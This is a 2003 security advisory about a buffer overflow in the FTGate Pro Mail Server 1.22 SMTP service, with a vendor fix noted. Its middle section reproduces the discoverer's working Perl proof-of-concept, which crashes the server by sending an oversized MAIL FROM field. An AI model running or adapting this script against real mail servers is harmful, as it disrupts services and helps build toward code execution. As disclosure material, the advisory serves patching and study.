Buffer Overrun Vulnerability in Floosietek FTGate Pro Mail Server 1.22

Reported May 06, 2003, by Dennis Rand.

VERSIONS AFFECTED

• Floosietek FTGate Pro Mail Server 1.22 (build 1328)

DESCRIPTION

A vulnerability in FTGate Pro Mail Server 1.22 (build 1328) can result in the execution of arbitrary code on the vulnerable system. This vulnerability stems from a buffer-overflow condition. If an attacker sends a large amount of code  into the MAIL FROM and the RCPT TO fields, the buffer will overflow. Using carefully crafted code, the attacker can use system privileges to execute arbitrary commands.

DEMONSTRATION

The discoverer posted the following code as proof of concept:

----------------------------- \[Exploit Code\] --------------------------

#!/usr/bin/perl -w ################## # FTGate Pro Mail Server v. 1.22

(1328) DoS attack # # URL: http://www.infowarfare.dk/ # EMAIL:

[email protected] # USAGE: sploit.pl <target ip> # # Summary: # # The

problem is a Buffer Overflow in the SMTP protocol, within the

# ESMTP Server FTGate, causing the service to stop responding for a short #

Period, where we can actually overwrite the exception handler on the stack

allowing

# A system compromise with code execution running as SYSTEM.

#

#

# Solution:

# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later #

#

use IO::Socket;

$target = shift() || "warlab.dk";

my $port = 25;

my $Buffer = "a" x 2400;

my $sock = IO::Socket::INET->new (

                                    PeerAddr => $target,

                                    PeerPort => $port,

                                    Proto => 'tcp'

                                 ) || die "could not connect: $!";

my $banner = <$sock>;

if ($banner !~ /^2.*/)

\{

    print STDERR "Error: invalid server response '$banner'.\n";

    exit(1);

\}

print $sock "HELO $target\r\n";

$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";

$resp = <$sock>;

print $sock "\r\n";

print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);

----------------------------- \[Exploit Code\] --------------------------

VENDOR RESPONSE

Floosietek has released build 1330, which isn't vulnerable to this condition.

CREDIT                                                                                                       

 

Discovered by Dennis Rand.